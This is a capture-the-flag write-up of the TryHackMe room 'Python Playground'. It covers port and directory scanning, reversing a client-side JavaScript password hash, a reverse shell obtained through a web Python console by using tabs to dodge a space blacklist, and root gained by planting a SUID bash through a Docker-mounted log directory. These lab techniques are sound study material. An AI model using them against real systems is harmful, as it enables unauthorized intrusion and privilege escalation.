Python Playground TryHackMe Write Up
Python Playground is a hard rated room in TryHackMe by deltatemporal. Client Side login validation gives us a hidden file on the webserver which had a web python shell for executing python commands along with a username and a hash. Partial blacklisting of the potential harmful characters on the python shell gives us a shell on a docker container in which a directory from a host device is mounted. Reversing the login logic implemented on client side gives us a credential which we use to get a shell on a host box and finally the root was obtained using the mounted log directory inside the docker container.
As this a hard room, I won’t be focusing too much on the basics. If you are just starting out on cybersecurity, I suggest you to solve the easier and medium rated rooms on tryhackme platform first. If you have any confusion regarding the writeup or have any kind of suggestion or feedback, reach me out on twitter.
Port Scan
Allport
local@local:~/Documents/tryhackme/python_playground$ nmap -p- --min-rate 10000 -oN nmap/allports -v 10.10.185.134
Nmap scan report for 10.10.185.134
Host is up (0.38s latency).
Not shown: 63172 closed ports, 2361 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Detail Scan
local@local:~/Documents/tryhackme/python_playground$ nmap -sC -sV -p22,80 -oN nmap/detail 10.10.185.134
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-11 07:37 +0545
Nmap scan report for 10.10.185.134
Host is up (0.37s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f4:af:2f:f0:42:8a:b5:66:61:3e:73:d8:0d:2e:1c:7f (RSA)
| 256 36:f0:f3:aa:6b:e3:b9:21:c8:88:bd:8d:1c:aa:e2:cd (ECDSA)
|_ 256 54:7e:3f:a9:17:da:63:f2:a2:ee:5c:60:7d:29:12:55 (ED25519)
80/tcp open http Node.js Express framework
|_http-title: Python Playground!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.60 seconds
Port 80
Clicking on the login or signup pages, opens up a new page showing that this feature has been disabled.
Directory Bruteforcing using wfuzz for html files
local@local:~/Documents/tryhackme/python_playground$ wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -c --hc 404 -t 50 http://10.10.43.69/FUZZ.html | tee wfuzz/root-html.log
********************************************************
* Wfuzz 3.0.3 - The Web Fuzzer *
********************************************************
Target: http://10.10.43.69/FUZZ.html
Total requests: 220547
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000002: 200 29 L 85 W 941 Ch "index"
000000040: 200 18 L 51 W 549 Ch "login"
000000204: 200 18 L 51 W 549 Ch "signup"
000000246: 200 117 L 244 W 3134 Ch "admin"
We get a new page. ie admin.html
Visiting /admin.html
Trying to login with admin:admin
The moment I hit the log in button, I got a message very quick saying Access Denied as if the request was never made to the back end server. So, I checked the source if there was any javascript in which the login process is implemented and it turned out there was.
Implementation of login on js
<script>
// I suck at server side code, luckily I know how to make things secure without it - Connor
function string_to_int_array(str){
const intArr = [];
for(let i=0;i<str.length;i++){
const charcode = str.charCodeAt(i);
const partA = Math.floor(charcode / 26);
const partB = charcode % 26;
intArr.push(partA);
intArr.push(partB);
}
return intArr;
}
function int_array_to_text(int_array){
let txt = '';
for(let i=0;i<int_array.length;i++){
txt += String.fromCharCode(97 + int_array[i]);
}
return txt;
}
document.forms[0].onsubmit = function (e){
e.preventDefault();
if(document.getElementById('username').value !== 'connor'){
document.getElementById('fail').style.display = '';
return false;
}
const chosenPass = document.getElementById('inputPassword').value;
const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(chosenPass))));
if(hash === 'dxeedxebdwe*************duerdvdtdvdu'){
window.location = 'super-secret*************panel.html';
}else {
document.getElementById('fail').style.display = '';
}
return false;
}
</script>
From this code, we get a secret path as well as a username and a hash.
path:super-secret*************panel.html
username:connor
hash:dxeedxebdwe*************duerdvdtdvdu
Visiting super-secret*****panel.html
Here we have a place where we can execute python commands.So, lets try and get a python reverse shell.
Listening on our box
local@local:~/Documents/tryhackme/python_playground$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Executing the payload
Looks like there is some firewall implemented to limit the things we can do on this web python shell.
Looking at the source of the page
<script>
// Let the tab key work :)
var textareas = document.getElementsByTagName('textarea');
var count = textareas.length;
for(var i=0;i<count;i++){
textareas[i].onkeydown = function(e){
if(e.keyCode==9 || e.which==9){
e.preventDefault();
var s = this.selectionStart;
this.value = this.value.substring(0,this.selectionStart) + "\t" + this.value.substring(this.selectionEnd);
this.selectionEnd = s+1;
}
}
}
</script>
There is a comment which says it is okay to use tab key, which means the space key might have triggered the firewall. So, I tried to import the modules using tab instead of space.
And this time the response was not obtained on the browser which is a good sign and if we check the netcat listener, we get a shell.
local@local:~/Documents/tryhackme/python_playground$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 10.10.185.134 39688
/bin/sh: 0: can't access tty; job control turned off
#
Now this shell is a bit hard to work with as it is not interactive. It lacks using arrow keys, autocompletion, and using keys like CTRL+C to kill a process. So We have to make this session a interactive session.
Getting a proper TTY
Now lets get a proper shell with auto completion.
# python3 -c "import pty;pty.spawn('/bin/bash')"
Hit CRTL+z to background the current process and on local box type
local@local:~/Documents/tryhackme/python_playground$ stty raw -echo
and type fg and hit enter twice and on the reverse shell export the TERM as xterm.
root@playgroundweb:~/app# export TERM=xterm
Now we have a proper shell.
Checking the privileges
root@playgroundweb:~/app# id
uid=0(root) gid=0(root) groups=0(root)
root@playgroundweb:~/app# ls -la /
total 60
drwxr-xr-x 1 root root 4096 May 16 06:06 .
drwxr-xr-x 1 root root 4096 May 16 06:06 ..
-rwxr-xr-x 1 root root 0 May 16 06:06 .dockerenv
lrwxrwxrwx 1 root root 7 Apr 23 2020 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Apr 15 2020 boot
drwxr-xr-x 5 root root 340 Nov 11 01:47 dev
drwxr-xr-x 1 root root 4096 May 16 06:06 etc
drwxr-xr-x 2 root root 4096 Apr 15 2020 home
lrwxrwxrwx 1 root root 7 Apr 23 2020 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Apr 23 2020 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Apr 23 2020 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Apr 23 2020 libx32 -> usr/libx32
drwxr-xr-x 2 root root 4096 Apr 23 2020 media
drwxr-xr-x 1 root root 4096 May 16 06:06 mnt
drwxr-xr-x 2 root root 4096 Apr 23 2020 opt
dr-xr-xr-x 101 root root 0 Nov 11 01:47 proc
drwx------ 1 root root 4096 May 16 06:04 root
drwxr-xr-x 1 root root 4096 Apr 24 2020 run
lrwxrwxrwx 1 root root 8 Apr 23 2020 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Apr 23 2020 srv
dr-xr-xr-x 13 root root 0 Nov 11 01:47 sys
drwxrwxrwt 1 root root 4096 May 16 06:04 tmp
drwxr-xr-x 1 root root 4096 Apr 23 2020 usr
drwxr-xr-x 1 root root 4096 Apr 23 2020 var
We are running as root but inside the docker container. Now, we have to find a way to get a shell on the host device.
Reading 1st flag
root@playgroundweb:~# ls
app flag1.txt
root@playgroundweb:~# cat flag1.txt
THM{7e0b5c*************6f2f}
Enumerating the docker container
While I was looking around, I found something interesting on the /mnt.
root@playgroundweb:~# ls -la /mnt
total 12
drwxr-xr-x 1 root root 4096 May 16 06:06 .
drwxr-xr-x 1 root root 4096 May 16 06:06 ..
drwxrwxr-x 9 root 106 4096 May 11 2020 log
A directory is mounted inside the /mnt folder.
Content of log folder
oot@playgroundweb:~# ls -la /mnt/log/
total 3900
drwxrwxr-x 9 root 106 4096 May 11 2020 .
drwxr-xr-x 1 root root 4096 May 16 06:06 ..
-rw-r--r-- 1 root root 27163 May 11 2020 alternatives.log
drwxr-xr-x 2 root root 4096 May 16 02:40 apt
-rw-r----- 1 102 adm 39166 Nov 11 02:17 auth.log
-rw-r--r-- 1 root root 56751 Feb 3 2020 bootstrap.log
-rw-rw---- 1 root utmp 1920 May 12 2020 btmp
-rw-r--r-- 1 root root 40872 Nov 11 01:48 cloud-init-output.log
-rw-r--r-- 1 102 adm 896741 Nov 11 01:48 cloud-init.log
drwxr-xr-x 2 root root 4096 Jan 24 2020 dist-upgrade
-rw-r--r-- 1 root root 508605 May 16 02:40 dpkg.log
-rw-r--r-- 1 root root 32032 May 11 2020 faillog
drwxr-xr-x 3 root root 4096 May 11 2020 installer
drwxr-sr-x+ 3 root messagebus 4096 May 11 2020 journal
-rw-r----- 1 102 adm 810586 Nov 11 01:47 kern.log
drwxr-xr-x 2 108 112 4096 May 11 2020 landscape
-rw-rw-r-- 1 root utmp 292292 May 16 06:01 lastlog
drwxr-xr-x 2 root root 4096 Nov 23 2018 lxd
-rw-r----- 1 102 adm 1461048 Nov 11 02:17 syslog
-rw------- 1 root root 64064 May 11 2020 tallylog
drwxr-x--- 2 root adm 4096 May 11 2020 unattended-upgrades
-rw-rw-r-- 1 root utmp 47232 Nov 11 01:47 wtmp
Looking at the contents, it seems like the log directory from the host device is mounted inside the docker container. Now, we can exploit this to become root on the host device, if we have a shell on the host device. Looking back we do have a username and a hash which could be a potential SSH username and password. So lets reverse the code written on js.
Getting the password from the hash
For this I wrote a python script. At first I implemented the same thing that was implemented with js and I wrote the function that did exact opposite.
#!/usr/bin/python
import math
# int to text
def int_array_to_text(arr):
txt = ''
for i in range(0,len(arr)):
txt += (chr(arr[i] + 97))
return txt
# String to array implementation
def string_to_int_array(text):
tmp = []
for i in text:
charcode = ord(i)
part_a = math.floor(charcode/26)
part_b = charcode % 26
tmp.append(part_a)
tmp.append(part_b)
return tmp
# array_to_string
def array_to_string(arr):
txt = ''
length = int(len(arr))
for i in range(0,length,2):
txt += (chr(arr[i]*26+arr[i+1]))
return txt
# text to array
def text_to_array(txt):
tmp = []
for i in txt:
tmp.append(ord(i) - 97)
return(tmp)
print(array_to_string(text_to_array(array_to_string(text_to_array('dxeedxebdwe*************duerdvdtdvdu')))))
Running the script
local@local:~/Documents/tryhackme/python_playground/http$ python test.py
<redacted>
Trying to login using SSH
local@local:~/Documents/tryhackme/python_playground/http$ ssh connor@10.10.185.134
The authenticity of host '10.10.185.134 (10.10.185.134)' can't be established.
ECDSA key fingerprint is SHA256:iHACigIGKJ5qdSmZQCHOkipvHuMwNMkxrfuf3dhq70Y.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.185.134' (ECDSA) to the list of known hosts.
connor@10.10.185.134's password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-99-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Nov 11 02:22:35 UTC 2020
System load: 0.0 Processes: 95
Usage of /: 49.4% of 9.78GB Users logged in: 0
Memory usage: 48% IP address for eth0: 10.10.185.134
Swap usage: 0% IP address for docker0: 172.17.0.1
32 packages can be updated.
0 updates are security updates.
Last login: Sat May 16 06:01:55 2020 from 10.0.2.2
connor@pythonplayground:~$
And we login successfully as user connor.
Reading second flag
connor@pythonplayground:~$ ls
flag2.txt
connor@pythonplayground:~$ cat flag2.txt
THM{69a3*************e691ec5}
Privilege Escalation
Steps involved
- On container, create a folder inside the log directory to check if the changes is reflected on the host device
- On host, copy the bash binary from /bin to the newly created directory.
- On container, set the SUID bit on that bash binary
- On host, execute it and get a root shell
Creating a new directory inside log from docker container
root@playgroundweb:~# cd /mnt/log/
root@playgroundweb:/mnt/log# mkdir test-dir
root@playgroundweb:/mnt/log# chmod 777 test-dir/
root@playgroundweb:/mnt/log# ls -la test-dir/
total 8
drwxrwxrwx 2 root root 4096 Nov 11 02:25 .
drwxrwxr-x 10 root 106 4096 Nov 11 02:25 ..
Checking the changes from host device
connor@pythonplayground:~$ cd /var/log
connor@pythonplayground:/var/log$ ls -la test-dir/
total 8
drwxrwxrwx 2 root root 4096 Nov 11 02:25 .
drwxrwxr-x 10 root syslog 4096 Nov 11 02:25 ..
And it exists. Nice!!
Copying the /bin/bash binary inside newly created dir
connor@pythonplayground:/var/log$ cd test-dir/
connor@pythonplayground:/var/log/test-dir$ cp /bin/bash bash
connor@pythonplayground:/var/log/test-dir$ ls -la
total 1096
drwxrwxrwx 2 root root 4096 Nov 11 02:27 .
drwxrwxr-x 10 root syslog 4096 Nov 11 02:25 ..
-rwxr-xr-x 1 connor connor 1113504 Nov 11 02:27 bash
Changing the permissions from docker container
root@playgroundweb:/mnt/log/test-dir# chown root:root bash
root@playgroundweb:/mnt/log/test-dir# chmod 4755 bash
Getting a root shell on the host
connor@pythonplayground:/var/log/test-dir$ ls -la
total 1096
drwxrwxrwx 2 root root 4096 Nov 11 02:27 .
drwxrwxr-x 10 root syslog 4096 Nov 11 02:25 ..
-rwsr-xr-x 1 root root 1113504 Nov 11 02:27 bash
connor@pythonplayground:/var/log/test-dir$ ./bash -p
bash-4.4# id
uid=1000(connor) gid=1000(connor) euid=0(root) groups=1000(connor)
bash-4.4#
Reading the final flag
bash-4.4# cd /root
bash-4.4# ls
flag3.txt
bash-4.4# cat flag3.txt
THM{be3adc69*************925ad1}